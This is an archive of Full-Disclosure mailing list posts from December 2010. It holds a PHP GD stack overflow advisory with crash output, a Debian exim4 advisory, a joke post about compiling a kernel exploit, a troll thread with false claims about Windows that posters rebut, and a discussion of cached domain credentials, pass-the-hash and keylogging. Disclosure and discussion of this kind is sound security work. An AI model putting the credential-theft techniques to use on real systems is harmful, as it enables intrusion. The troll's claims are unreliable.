Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows is 100% self-modifying assembly code?(Interesting security theory)

[Randal T. Rioux]

On 12/10/2010 10:10 AM, John Horn wrote:
> Is this a joke?
> 
> 
> --
> 
> John Horn
> 
> City of Tucson, IT Department
> 
> Network Services (Network security)
> 
> Phone: (520) 837-6036
> 
> --
> 
> CONFIDENTIALITY NOTICE: If you have received this email in error,
> please immediately notify
> 
> the sender by e-mail at the address shown.  This email transmission
> may contain confidential information.
> 
> This information is intended only for the use of the individual(s) or
> entity to whom it is intended even if addressed incorrectly.
> 
> Please delete it from your files if you are not the intended
> recipient.  Thank you for your compliance, time and attention to this
> matter.


A top-post, bogus "legal" notice AND an office phone #.

Social engineers - unite!

Might want to think about that a little.

And if you have to ask whether something is a joke, then the troll was
successful.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Kernel Bug Fixed For OpenBSD

[news]

List, look how myself, I also know how to compile me too :

$ gcc foo.c -o foo
$ ./foo
hello world!

Just to add my testimony to this ton of instructive posts.

Le jeudi 09 décembre 2010 à 15:46 -0500, musnt live a écrit :
> Hello full disclosure!!!
> 
> I is like to warn you about Linux kernel exploit that is was warned
> you by to from Dan Rosenberg. Is I discover that Linux OpenBSD is no
> vulnerable
> 
> bash-4.0$ id
> uid=1001(musntlive) gid=1001(musntlive) groups=1001(musntlive)
> bash-4.0$ uname -ap
> OpenBSD im.is.hakaruski.websecurity.ug.ly 4.7 HAKARUSKI i386 AMD
> Phenom(tm) 9850 Quad-Core Processor ("AuthenticAMD" 686-class, 512KB
> L2 cache)
> bash-4.0$ ls
> fullnelson.c IsAllSecurityIsResearch IsThisBeIsGoatPorn IsLearnHowIsToTalk
> bash-4.0$ gcc -o peggy fullnelson.c
> fullnelson.c: In function `main':
> fullnelson.c:216: error: `PF_ECONET' undeclared (first use in this function)
> fullnelson.c:216: error: (Each undeclared identifier is reported only once
> fullnelson.c:216: error: for each function it appears in.)
> fullnelson.c:249: error: `MAP_ANONYMOUS' undeclared (first use in this 
> function)
> fullnelson.c:260: error: `CLONE_VM' undeclared (first use in this function)
> fullnelson.c:260: error: `CLONE_CHILD_CLEARTID' undeclared (first use
> in this function)
> bash-4.0$
> 
> However is how we fix to make work on Linux OpenBSD:
> 
> bash-4.0$ su
> # id
> uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
> 5(operator), 20(staff), 31(guest)
> # finger musntlive
> Login: musntliveName: musntlive
> Directory: /home/this-is-be-home-for/musntlive  Shell:
> /usr/local/c0t0d0s0/bin/bash
> Never logged in.
> No Mail.
> No Plan.
> No Engrish.
> #
> 
> http://www.youtube.com/watch?v=GRLwKw9up3s
> 
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows is 100% self-modifying assemblycode?(Interesting security theory)

[Valdis . Kletnieks]

On Fri, 10 Dec 2010 09:23:50 MST, John Horn said:
> Yeah, must have been tongue in cheek, can't imagine anyone able to
> understand what this list is about making such a Rube Goldberg claim as
> stuff like a Windows self assembling kernel and libraries etc

Check the archives, there's been some truly dim bulbs who have wandered
through here. :)


pgpgOA9omBRgv.pgp
Description: PGP signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows is 100% self-modifying assemblycode?(Interesting security theory)

[John Horn]

Yeah, must have been tongue in cheek, can't imagine anyone able to understand 
what this list is about making such a Rube Goldberg claim as stuff like a 
Windows self assembling kernel and libraries etc  Window is compiled, like 
practically every other desktop OS. Last assembled OS I saw the source code to 
multi-tasked running self service gasoline pumps at self serve gas stations. It 
was a token passing OS I think. LOL! Self assembling kernel! Imagine writing 
the macros for that puppy...


--
John Horn
City of Tucson, IT Department
Network Services (Network security)
Phone: (520) 837-6036
--
CONFIDENTIALITY NOTICE: If you have received this email in error, please 
immediately notify
the sender by e-mail at the address shown.  This email transmission may contain 
confidential information. 
This information is intended only for the use of the individual(s) or entity to 
whom it is intended even if addressed incorrectly.  
Please delete it from your files if you are not the intended recipient.  Thank 
you for your compliance, time and attention to this matter.






>>> On Fri, Dec 10, 2010 at  9:01 AM, in message 
>>> , Christian 
>>> Sciberras  wrote:

Or the worst kind of trolling to have ever walked these newsgroups





On Fri, Dec 10, 2010 at 4:10 PM, John Horn 
 

wrote:


Is this a joke?


--
John Horn
City of Tucson, IT Department
Network Services (Network security)
Phone: (520) 837-6036
--
CONFIDENTIALITY NOTICE: If you have received this email in error, please 
immediately notify
the sender by e-mail at the address shown. This email transmission may contain 
confidential information.
This information is intended only for the use of the individual(s) or entity to 
whom it is intended even if addressed incorrectly.
Please delete it from your files if you are not the intended recipient. Thank 
you for your compliance, time and attention to this matter.








>>> On Thu, Dec 9, 2010 at 6:39 PM, in message 
>>> <8cd662233c10c95-230c-4...@web-mmc-m02.sysops.aol.com>, John Jester Wilham 
>>> Patrick III  wrote:




>From Andrew Auernheimer's Diary / irc memories:

Windows is written in pure, self-modifying assembly code. Notice how you can 
install 15 gigs of data from a single Windows install DVD, which can only hold 
5 gigs? This is because the code is dynamically generated to minimize attack 
vectors. Any attempt to observe the static files on the disk will change how it 
looks in runtime. This is also why Windows needs to be updated so often, so the 
running code never looks like it did before.

Does this sound true to you guys? Windows does seem to have updates that take 
forever and speed wise it always felt there was something going on. Whenever I 
leave my laptop alone, even when it's offline, indexing off, the computer is 
always working on stuff and you new know what it is.

Maybe all applications with Windows compile on runtime for dynamic binaries, 
yet through .net's open, user-friendly API are still compatible?

Balmer said he wanted to make Vista and 7 an OS that would not slow down after 
usage, but instead speed up. Windows is constantly reprogramming itself to suit 
the behavior of it's users and performing security and performance auditing.

This is likely true - Think about it:

All viruses are just malicious scripts. It's like saying *nix is insecure 
because script kiddies compile binaries and bash scripts that rm /.

No one ever has ever had an attack vector against Windows 7 or Vista. Please 
confirm.








___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



Notice of Confidentiality: This communication may contain confidential and/or 
proprietary information and may not be disclosed to anyone other than the 
intended addressee.  Any other disclosure is strictly prohibited by law.  If 
you are not the intended addressee, you have received this communication in 
error.  Please notify the sender immediately and destroy the communication, 
including all content and any attachments.  Thank you.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] PHP 5.3.3 GD extension imagepstext stack buffer overflow

[Martin Barbella]

Description:

Prior to version 5.3.4, PHP's GD extension did not properly validate
the number of anti-aliasing steps passed to the function imagepstext.
The value of this parameter is expected to be either 4 or 16. To
accommodate this, an array of 16 integers, aa, is located on the
stack. Before the number of steps is validated, it is used to populate
the array. This results in a stack-based buffer overflow.

Proof of concept:



Result in php 5.3.3 (with gdb):

sh-4.1$ php -v
PHP 5.3.3 (cli) (built: Jul 22 2010 15:37:02)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
sh-4.1$ gdb php

(gdb) run imagepstext_poc.php
Starting program: /usr/bin/php imagepstext_poc.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x004dcca7 in zif_imagepstext (ht=11184810, return_value=0xaa,
return_value_ptr=0xaa, this_ptr=0xaa, return_value_used=11184810)
at /usr/src/debug/php-5.3.3/ext/gd/gd.c:4257
4257aa[i] = gdImageColorResolveAlpha(bg_img, rd, gr, bl, 
al);
Missing separate debuginfos, use: 
(gdb) bt
#0  0x004dcca7 in zif_imagepstext (ht=11184810, return_value=0xaa,
return_value_ptr=0xaa, this_ptr=0xaa, return_value_used=11184810)
at /usr/src/debug/php-5.3.3/ext/gd/gd.c:4257
#1  0x00aa in ?? ()
#2  0x00aa in ?? ()
#3  0x00aa in ?? ()
#4  0x00aa in ?? ()
#5  0x00aa in ?? ()


Result in php 5.3.4:

$ ./php-5.3.4 -v
PHP 5.3.4 (cli) (built: Dec 10 2010 10:26:40)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
$ ./php-5.3.4 imagepstext_poc.php

Warning: imagepstext(): AA steps must be 4 or 16 in
/home/.../imagepstext_poc.php on line 4

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows is 100% self-modifying assembly code?(Interesting security theory)

[Christian Sciberras]

Or the worst kind of trolling to have ever walked these newsgroups




On Fri, Dec 10, 2010 at 4:10 PM, John Horn  wrote:

>  Is this a joke?
>
>
> --
> John Horn
> City of Tucson, IT Department
> Network Services (Network security)
> Phone: (520) 837-6036
> --
> CONFIDENTIALITY NOTICE: If you have received this email in error, please 
> immediately notify
>
> the sender by e-mail at the address shown.  This email transmission may 
> contain confidential information.
>
> This information is intended only for the use of the individual(s) or entity 
> to whom it is intended even if addressed incorrectly.
>
> Please delete it from your files if you are not the intended recipient.  
> Thank you for your compliance, time and attention to this matter.
>
>
>
>
>
>
>
> >>> On Thu, Dec 9, 2010 at  6:39 PM, in message <
> 8cd662233c10c95-230c-4...@web-mmc-m02.sysops.aol.com>, John Jester Wilham
> Patrick III  wrote:
>
>
>   From Andrew Auernheimer's Diary / irc memories:
>
> Windows is written in pure, self-modifying assembly code. Notice how you
> can install 15 gigs of data from a single Windows install DVD, which can
> only hold 5 gigs? This is because the code is dynamically generated to
> minimize attack vectors. Any attempt to observe the static files on the disk
> will change how it looks in runtime. This is also why Windows needs to be
> updated so often, so the running code never looks like it did before.
>
> Does this sound true to you guys? Windows does seem to have updates that
> take forever and speed wise it always felt there was something going
> on.  Whenever I leave my laptop alone, even when it's offline, indexing off,
> the computer is always working on stuff and you new know what it is.
>
> Maybe all applications with Windows compile on runtime for dynamic
> binaries, yet through .net's open, user-friendly API are still compatible?
>
> Balmer said he wanted to make Vista and 7 an OS that would not slow down
> after usage, but instead speed up. Windows is constantly reprogramming
> itself to suit the behavior of it's users and performing security and
> performance auditing.
>
> This is likely true - Think about it:
>
> All viruses are just malicious scripts. It's like saying *nix is insecure
> because script kiddies compile binaries and bash scripts that rm /.
>
> No one ever has ever had an attack vector against Windows 7 or Vista.
> Please confirm.
>
>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows is 100% self-modifying assembly code? (Interesting security theory)

[Valdis . Kletnieks]

On Thu, 09 Dec 2010 20:39:21 EST, John Jester Wilham Patrick III said:

(What the heck. It's Friday, and I've got this 50 pound bag of Purina Troll Chow
I'm trying to get rid of.. ;)

> Windows is written in pure, self-modifying assembly code. Notice how you
> can install 15 gigs of data from a single Windows install DVD, which can
> only hold 5 gigs?

Nope, that's just because files are compressed on the DVD.

> This is because the code is dynamically generated to minimize attack vectors.
> Any attempt to observe the static files on the disk will change how it looks
> in runtime. This is also why Windows needs to be updated so often, so the
> running code never looks like it did before.

Note that loading a program is *also* an attempt to observe the static file on
the disk - which would imply that how it looks in memory would depend on
how many times the program gets run.  Of course, hooking up a debugger
to the program, and noticing that the debugger disassembles it the same
way each time, would dispel the "dynamic self-modifying" theory.

Also, if it was dynamic self-modifying, you wouldn't need to do updates so the
running code looks different - each run would do that by itself.   However,
shipping patches to install on machines when you can't predict what the
current version of the self-modifying code looks like would be a bear.

> Maybe all applications with Windows compile on runtime for dynamic binaries,
> yet through .net's open, user-friendly API are still compatible?

This would come as a big shock to all those 3rd-party application programmers
who thought they were using a compiler that generated code that stayed put,
even when they looked at it in their debugger.  Unless you're suggesting that
all the 3rd party programmers are in on the conspiracy?  That would be right up
there with NASA managing to keep quiet all 400,000 people involved in faking
the moon landing.

> Balmer said he wanted to make Vista and 7 an OS that would not slow down
> after usage, but instead speed up. Windows is constantly reprogramming itself
> to suit the behavior of it's users and performing security and performance
> auditing.

This doesn't require self-modifying code.  It only requires some performance
tuning code that's able to do some introspection.  For instance, if you keep
track of what files are used, and how often, and which files are used together,
you can use that information to do a better job of defragmenting the disk - one
user may have Microsoft Word moved to the fastest part of the disk because
that's their most-used app, while somebody else gets a disk optimized for
Outlook and Firefox.
 
> All viruses are just malicious scripts.

Only true if you consider binary code a "script" (cue outcries about microcoded
CPUs in 5..4..3.. ;)

> No one ever has ever had an attack vector against Windows 7 or Vista.

There have been security advisories and patches against both Vista and 7.
You don't seriously suggest that *none* of those patches had a weaponized
exploit for them, do you?  (Remember the *vast* difference between "No one
has ever..." and "I have heard no reports of anybody ever...")


pgpfMupew620M.pgp
Description: PGP signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[Thor (Hammer of God)]

Hey Jeff - StenoPlasma and I took the conversation off-line, and I'm clear 
about what he is illustrating.  

As far as the local machine is concerned, there is no difference between the 
local admin and the domain admin or any other admin in the Administrators 
group.   The paper illustrates how one admin can pretend to be another admin by 
masquerading as his SID.Of course, the admin could masquerade as a normal 
user too, but there's no point in that.  That said, there's no point in one 
admin pretending to be another admin.  There is no down-range network access to 
this, and as StenoPlasma pointed out, you have to have the network cable 
unplugged to do this.  

Not taking away from SP's find, but at the end of the day, this doesn't allow 
an administrator to do anything he couldn't already do.  If repudiation is the 
concern, the one admin can simply create another admin user, log in as them, 
and do whatever they want logging activities as that user.  

I've been counting, and now this is 1 million four:  If it starts with "If I'm 
admin..." then what comes next doesn't matter.

t

-Original Message-
From: Jeffrey Walton [mailto:noloa...@gmail.com] 
Sent: Friday, December 10, 2010 6:38 AM
To: Thor (Hammer of God)
Cc: stenopla...@exploitdevelopment.com; full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows 
Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached 
Domain Admin Accounts (2010-M$-002)

On Thu, Dec 9, 2010 at 10:07 PM, Thor (Hammer of God)  
wrote:
> What do you mean by "regular local administrator"?  You're a local 
> admin, or you're not.
I believe the OP's intent was to differentiate between Local Administrators and 
Domain (or Enterprise) Administrators. Corrections from StenoPlasma are 
welcomed.

> There are not degrees of local admin.
But there are different accounts, both domain and local, which have 
administrator rights and privileges on the local machine.

[SNIP]

Jeff

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[Thor (Hammer of God)]

Hey Marsh - I think he meant LSA not SAM.  With the SAM, you can brute force 
the local accounts.  But with the LSA, you can get NTLM hashes for active users 
and attempt to use those.   You'll typically see those types of attacks against 
XP boxes or Win2000 where NTLM is still being used as the default 
authentication protocol.  Nowadays, in the enterprise anyway, network auth will 
be Kerberos, and if not, NTLMv2.

But yes, PTH is a different animal than what is being described my StenoPlasma.

t

-Original Message-
From: full-disclosure-boun...@lists.grok.org.uk 
[mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of Marsh Ray
Sent: Thursday, December 09, 2010 11:34 PM
To: Mike Vasquez
Cc: full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows 
Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached 
Domain Admin Accounts (2010-M$-002)

On 12/09/2010 09:36 PM, Mike Vasquez wrote:
> You can dump the local cached hashes, take a domain admins,

My understanding is that after the target user has logged off, the hashes which 
remain are only sufficient to validate a correct password. 
I.e., they're like the classic /etc/passwd hashes but with decent salts. 
They could be used for dictionary attacks, but not with precomputed rainbow 
tables.

> and use a
> pass the hash attack, which has been around for a while, such as:
> Hernan Ochoa / http://oss.coresecurity.com/projects/pshtoolkit.htm

My understanding is that PTH is a technique allowing you to easily use a 
different kind of hash. The password-equivalent kind that would be copied from 
the credentials of a live logged-in session. In that sense, PTH on its own may 
not meet the formal definition of an 'attack', since you still need a way to 
capture the password-equivalent.

> I don't see this being any more concerning.  Whatever you do in the 
> above, is under the other account.  Granted, I may be missing 
> something, so enlighten me.

If you're a local admin, you can replace explorer.exe and access resources with 
the credentials of the logged-in user.

If you're a local admin, you can install a keylogger and trivially capture 
anyone's freaking plaintext password (local console or RDP sessions).

So don't type your Domain Admin password into an untrusted system. Duh!

Note that any system to which an untrusted party has unsupervised physical 
access is untrusted.

- Marsh

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows is 100% self-modifying assembly code?(Interesting security theory)

[John Horn]

Is this a joke?


--
John Horn
City of Tucson, IT Department
Network Services (Network security)
Phone: (520) 837-6036
--
CONFIDENTIALITY NOTICE: If you have received this email in error, please 
immediately notify
the sender by e-mail at the address shown.  This email transmission may contain 
confidential information. 
This information is intended only for the use of the individual(s) or entity to 
whom it is intended even if addressed incorrectly.  
Please delete it from your files if you are not the intended recipient.  Thank 
you for your compliance, time and attention to this matter.






>>> On Thu, Dec 9, 2010 at  6:39 PM, in message 
>>> <8cd662233c10c95-230c-4...@web-mmc-m02.sysops.aol.com>, John Jester Wilham 
>>> Patrick III  wrote:



>From Andrew Auernheimer's Diary / irc memories:

Windows is written in pure, self-modifying assembly code. Notice how you can 
install 15 gigs of data from a single Windows install DVD, which can only hold 
5 gigs? This is because the code is dynamically generated to minimize attack 
vectors. Any attempt to observe the static files on the disk will change how it 
looks in runtime. This is also why Windows needs to be updated so often, so the 
running code never looks like it did before.

Does this sound true to you guys? Windows does seem to have updates that take 
forever and speed wise it always felt there was something going on.  Whenever I 
leave my laptop alone, even when it's offline, indexing off, the computer is 
always working on stuff and you new know what it is.

Maybe all applications with Windows compile on runtime for dynamic binaries, 
yet through .net's open, user-friendly API are still compatible?

Balmer said he wanted to make Vista and 7 an OS that would not slow down after 
usage, but instead speed up. Windows is constantly reprogramming itself to suit 
the behavior of it's users and performing security and performance auditing.

This is likely true - Think about it:

All viruses are just malicious scripts. It's like saying *nix is insecure 
because script kiddies compile binaries and bash scripts that rm /.

No one ever has ever had an attack vector against Windows 7 or Vista. Please 
confirm.



Notice of Confidentiality: This communication may contain confidential and/or 
proprietary information and may not be disclosed to anyone other than the 
intended addressee.  Any other disclosure is strictly prohibited by law.  If 
you are not the intended addressee, you have received this communication in 
error.  Please notify the sender immediately and destroy the communication, 
including all content and any attachments.  Thank you.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [SECURITY] [DSA-2131-1] New exim4 packages fix remote code execution

[Stefan Fritsch]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- 
Debian Security Advisory DSA-2131-1  secur...@debian.org
http://www.debian.org/security/   Stefan Fritsch
December 10, 2010 http://www.debian.org/security/faq
- 

Package: exim4
Vulnerability  : arbitrary code execution
Problem type   : remote
Debian-specific: no
CVE Id(s)  : CVE-2010-4344

Several vulnerabilities have been found in exim4 that allow a remote
attacker to execute arbitrary code as root user. Exploits for these
issues have been seen in the wild.

This update fixes a memory corruption issue that allows a remote
attacker to execute arbitrary code as the Debian-exim user
(CVE-2010-4344).

A fix for an additional issue that allows the Debian-exim user to
obtain root privileges (CVE-2010-4345) is currently being checked for
compatibility issues. It is not yet included in this upgrade but will
released soon in an update to this advisory.

For the stable distribution (lenny), this problem has been fixed in
version 4.69-9+lenny1.

This advisory only contains the packages for the alpha, amd64, hppa,
i386, ia64, powerpc, and s390 architectures. The packages for the
arm, armel, mips, mipsel, and sparc architectures will be released
as soon as they are built.

For the testing distribution (squeeze) and the unstable distribution
(sid), this problem has been fixed in version 4.70-1.

We strongly recommend that you upgrade your exim4 packages.

Upgrade instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 5.0 alias lenny (stable)
- -

Stable updates are available for alpha, amd64, hppa, i386, ia64, powerpc, and 
s390.

Source archives:

  
http://security.debian.org/pool/updates/main/e/exim4/exim4_4.69-9+lenny1.diff.gz
Size/MD5 checksum:   540338 02b14a5203dad202b090d360b0b2dcc9
  http://security.debian.org/pool/updates/main/e/exim4/exim4_4.69.orig.tar.gz
Size/MD5 checksum:  1659309 f0176239d54546526f519e266182c019
  http://security.debian.org/pool/updates/main/e/exim4/exim4_4.69-9+lenny1.dsc
Size/MD5 checksum: 1599 c4dbede4f942a293245a8b0e1345663b

Architecture independent packages:

  
http://security.debian.org/pool/updates/main/e/exim4/exim4-config_4.69-9+lenny1_all.deb
Size/MD5 checksum:   347928 2c69c70452196863d68efa0ddaf11899
  
http://security.debian.org/pool/updates/main/e/exim4/exim4_4.69-9+lenny1_all.deb
Size/MD5 checksum: 7456 34aca3975b72dcef0eff854c55382f99

alpha architecture (DEC Alpha)

  
http://security.debian.org/pool/updates/main/e/exim4/eximon4_4.69-9+lenny1_alpha.deb
Size/MD5 checksum:   107042 3c23a5ca361eae84d8206fcbd03be2ac
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-dbg_4.69-9+lenny1_alpha.deb
Size/MD5 checksum:   268366 61e70a2e40c28490c5439ea574a42a1e
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-dev_4.69-9+lenny1_alpha.deb
Size/MD5 checksum:70452 bd403eea6c21a33aabed594970bb7ca0
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-daemon-light_4.69-9+lenny1_alpha.deb
Size/MD5 checksum:   485246 4b73bb0a4969431ed2e1ba85f29cc33c
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-daemon-light-dbg_4.69-9+lenny1_alpha.deb
Size/MD5 checksum:   695552 06295b37a3d103ca6d1ca2600278efaa
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-daemon-heavy_4.69-9+lenny1_alpha.deb
Size/MD5 checksum:   545914 6d0656f5f30bdcf940a0ece3b0e766a6
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-base_4.69-9+lenny1_alpha.deb
Size/MD5 checksum:   997988 6ef1e3418c34bd8d9754dec44435301f
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-daemon-heavy-dbg_4.69-9+lenny1_alpha.deb
Size/MD5 checksum:   782276 76b5512c6462f2a6f51c8a47e69732ed

amd64 architecture (AMD x86_64 (AMD64))

  
http://security.debian.org/pool/updates/main/e/exim4/exim4-daemon-light-dbg_4.69-9+lenny1_amd64.deb
Size/MD5 checksum:   730276 02b380cb498097cb3ec5181b65379b52
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-dbg_4.69-9+lenny1_amd64.deb
Size/MD5 checksum:   270376 01b04f5b698a4d037abd7630101ac449
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-daemon-light_4.69-9+lenny1_amd64.deb
Size/MD5 checksum:   451556 ff86270a77ce1bdf92fdc259eb0215ad
  
http://security.debian.org/pool/updates/main/e/exim4/exim4-daemon-heavy-dbg_4.69-9+lenny1_

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[Thor (Hammer of God)]

No, but I am :)

-Original Message-
From: Bob Wilkinson [mailto:rwilkin...@messagelabs.com] 
Sent: Friday, December 10, 2010 3:32 AM
To: Thor (Hammer of God)
Cc: Mike Hale; full-disclosure@lists.grok.org.uk; 
stenopla...@exploitdevelopment.com
Subject: Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows 
Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached 
Domain Admin Accounts (2010-M$-002)

On Fri, Dec 10, 2010 at 03:28:05AM +, Thor (Hammer of God) wrote:
> No "rouge user," only administrators. 

Are the "rouge user"s red-faced? :-)

Bob

__
This email has been scanned by the MessageLabs Email Security System.
For more information please visit http://www.messagelabs.com/email 
__

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[Jeffrey Walton]

On Thu, Dec 9, 2010 at 10:07 PM, Thor (Hammer of God)
 wrote:
> What do you mean by "regular local administrator"?  You're a local admin,
> or you're not.
I believe the OP's intent was to differentiate between Local
Administrators and Domain (or Enterprise) Administrators. Corrections
from StenoPlasma are welcomed.

> There are not degrees of local admin.
But there are different accounts, both domain and local, which have
administrator rights and privileges on the local machine.

[SNIP]

Jeff

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[Mike Hale]

"In fact, I can just make the Domain Admin a "guest" on my workstation
if I want to and there is nothing they can do about it."
With the caveat that they can readd themselves using GP anytime they
want...but you know.  I just wanted to throw that out there.

I think the key vulnerability in this is the non-repudiation one the
OP mentioned.  Being able to run stuff under the domain admin's
account is something a rogue user could potential abuse.

I don't think this issue is particularly critical, but something a
good admin should be aware of, IMO.

On Thu, Dec 9, 2010 at 7:07 PM, Thor (Hammer of God)
 wrote:
> What do you mean by "regular local administrator"?  You're a local admin, or 
> you're not.  There are not degrees of local admin.  Why are you under the 
> impression that there are things on a local system that the local admin 
> should not have access to?  They can do anything they want to by design.  Are 
> you under the impression that the Domain Administrator has different 
> permissions on a local machine than the local administrator does?   The only 
> reason a Domain Admin has admin rights by default on a domain workstation is 
> because they simply belong to the local Administrators group.  If I, as a 
> local admin, remove the domain admin account from my local Administrators 
> group, then they will not be local admins.  In fact, I can just make the 
> Domain Admin a "guest" on my workstation if I want to and there is nothing 
> they can do about it.
>
> Sorry to be the bearer of bad news for you, but the local admin can do what 
> they want to by design, and there is nothing that was "not intended by the 
> software developer" here.  This is, of course, why the people at MSFT 
> dismissed it as noted.
>
> t
>
> -Original Message-
> From: StenoPlasma @ ExploitDevelopment 
> [mailto:stenopla...@exploitdevelopment.com]
> Sent: Thursday, December 09, 2010 6:13 PM
> To: Thor (Hammer of God); full-disclosure@lists.grok.org.uk
> Subject: RE: [Full-disclosure] Flaw in Microsoft Domain Account Caching 
> Allows Local Workstation Admins to Temporarily Escalate Privileges and Login 
> as Cached Domain Admin Accounts (2010-M$-002)
>
> T,
>
> My article describes how to use the SECURITY registry hive to trick the 
> Microsoft operating system in to performing an action that has a result that 
> is not intended by the software developer.  This action is performed on the 
> Active Directory logon account cache that regular local administrators should 
> not have access to.  There are always other ways of doing things when it 
> comes to this type of work.
>
>
> Thank you,
>
> -
> StenoPlasma at ExploitDevelopment.com
> www.ExploitDevelopment.com
> -
>
>  Original Message 
>> From: "Thor (Hammer of God)" 
>> Sent: Thursday, December 09, 2010 6:07 PM
>> To: "stenopla...@exploitdevelopment.com"
> , "full-disclosure@lists.grok.org.uk"
> 
>> Subject: RE: [Full-disclosure] Flaw in Microsoft Domain Account
>> Caching
> Allows Local Workstation Admins to Temporarily Escalate Privileges and Login 
> as Cached Domain Admin Accounts (2010-M$-002)
>>
>> Why all the trouble?  Just change the log files directly when logged
>> in
> as the local admin.  It's a whole lot simpler, and you don't even need the 
> domain administrator to have interactively logged into your workstation.
> Or is your point that local administrators are, um, local administrators?
>>
>> t
>>
>> >-Original Message-
>> >From: full-disclosure-boun...@lists.grok.org.uk
> [mailto:full-disclosure-
>> >boun...@lists.grok.org.uk] On Behalf Of StenoPlasma @
>> >www.ExploitDevelopment.com
>> >Sent: Thursday, December 09, 2010 5:07 PM
>> >To: bugt...@securityfocus.com; full-disclosure@lists.grok.org.uk
>> >Cc: stenopla...@exploitdevelopment.com
>> >Subject: [Full-disclosure] Flaw in Microsoft Domain Account Caching
> Allows
>> >Local Workstation Admins to Temporarily Escalate Privileges and Login
> as
>> >Cached Domain Admin Accounts (2010-M$-002)
>> >
>>
>>---
>>---
>
>
>> >www.ExploitDevelopment.com 2010-M$-002
>>
>>---
>>---
>
>
>> >
>> >TITLE:
>> >Flaw in Microsoft Domain Account Caching Allows Local Workstation
>> >Admins
> to
>> >Temporarily Escalate Privileges and Login as Cached Domain Admin
> Accounts
>> >
>> >SUMMARY AND IMPACT:
>> >All versions of Microsoft Windows operating systems allow real-time
>> >modifications to the Active Directory cached accounts listing stored
